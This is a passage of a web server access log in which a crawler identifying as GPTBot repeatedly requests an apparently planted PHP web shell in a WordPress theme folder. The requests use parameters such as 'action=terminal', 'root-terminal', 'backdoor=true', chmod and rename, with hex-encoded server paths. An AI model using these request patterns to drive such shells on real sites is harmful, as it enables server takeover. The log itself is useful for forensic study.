/assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f6a636678656473&rename=wp-content HTTP/2" 200 3319 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:34 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c75646573 HTTP/2" 200 3297 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:35 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jquery&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6e6574776f726b2f696e636c756465732f637373 HTTP/2" 200 3282 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:37 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f6a732f696e636c756465732f6373732f757067726164652f7770&rename=.htaccess HTTP/2" 200 3300 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:39 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c75646573&rename=jquery HTTP/2" 200 3574 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:40 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f696e636c756465732f6a636678656473 HTTP/2" 200 3241 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:42 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a7175657279 HTTP/2" 200 3157 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:44 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c792f7770 HTTP/2" 200 3396 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:47 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6a71756572792f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f696e636c75646573&rename=jcfxeds HTTP/2" 200 3276 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:48 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c792f77702f&f=error_log HTTP/2" 200 3614 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:50 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f696e636c756465732f6a636678656473 HTTP/2" 200 3327 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:52 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f77702d61646d696e61612f696e636c756465732f6a6366786564732f77702d61646d696e61612f6a636678656473&rename=jcfxeds HTTP/2" 200 3190 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:53 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3162 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:54 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f696e636c756465732f696e636c756465732f6373732f75706772616465 HTTP/2" 200 3154 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:56 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a732f6a7175657279 HTTP/2" 200 3241 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:58 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73 HTTP/2" 200 3241 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:00 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6373732f77702d636f6e74656e742f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6a636678656473&rename=wp-content HTTP/2" 200 3318 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:02 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a71756572792f7770 HTTP/2" 200 3296 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:03 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=upgrade&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f637373 HTTP/2" 200 3278 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:05 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6a71756572792f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3279 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:07 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73 HTTP/2" 200 3327 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:09 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6a71756572792f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f696e636c75646573&rename=includes HTTP/2" 200 3273 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:12 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6373732f6a73 HTTP/2" 200 3208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:13 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c75646573&rename=jcfxeds HTTP/2" 200 3254 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:15 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f696e636c756465732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3181 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:17 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f696e636c756465732f637373 HTTP/2" 200 3220 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:18 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=backuply&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73 HTTP/2" 200 3279 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:21 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=blocks&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f637373 HTTP/2" 200 3498 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:23 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3216 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:25 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c75646573&rename=blocks HTTP/2" 200 3339 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:28 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6a73 HTTP/2" 200 3253 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:30 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c75646573 HTTP/2" 200 3157 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:32 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c75646573 HTTP/2" 200 3262 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:35 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f696e636c756465732f6a6366786564732f77702d636f6e74656e742f6a6366786564732f77702d61646d696e6161 HTTP/2" 200 3240 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:37 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=twentytwentyfour&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f7468656d6573 HTTP/2" 200 3279 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:39 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3121 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:42 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3223 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:44 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c79 HTTP/2" 200 3271 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:46 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-contentaa&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6a636678656473 HTTP/2" 200 3278 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:49 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f757067726164652f7770 HTTP/2" 200 3316 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:51 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3255 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:54 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6a6366786564732f77702d61646d696e6161&rename=jcfxeds HTTP/2" 200 3184 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:55 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-content&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f696e636c756465732f6a6366786564732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3229 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:57 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f6a6366786564732f77702d696e636c75646573 HTTP/2" 200 3265 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:34:59 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f696e636c756465732f6a6366786564732f77702d61646d696e61612f6a636678656473 HTTP/2" 200 3249 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:01 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=plugins&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f637373 HTTP/2" 200 3266 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:03 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73 HTTP/2" 200 3290 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:06 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=includes&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3210 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:08 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a71756572792f7770&rename=.htaccess HTTP/2" 200 3294 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:10 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f6a6366786564732f77702d696e636c75646573 HTTP/2" 200 3242 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:11 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f696e636c756465732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3188 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:13 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jquery&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f637373 HTTP/2" 200 3513 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:15 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6373732f6a732f6a71756572792f7770 HTTP/2" 200 3198 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:17 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e732f7770732d686964652d6c6f67696e&rename=languages HTTP/2" 200 3247 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:19 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f77702d61646d696e61612f6a732f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f75706772616465 HTTP/2" 200 3242 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:21 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f7770 HTTP/2" 200 3265 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:35:23 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f77702d61646d696e61612f696e636c756465732f6a6366786564732f77702d636f6e74656e742f6a636678656473 HTTP/2" 200 3034 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; 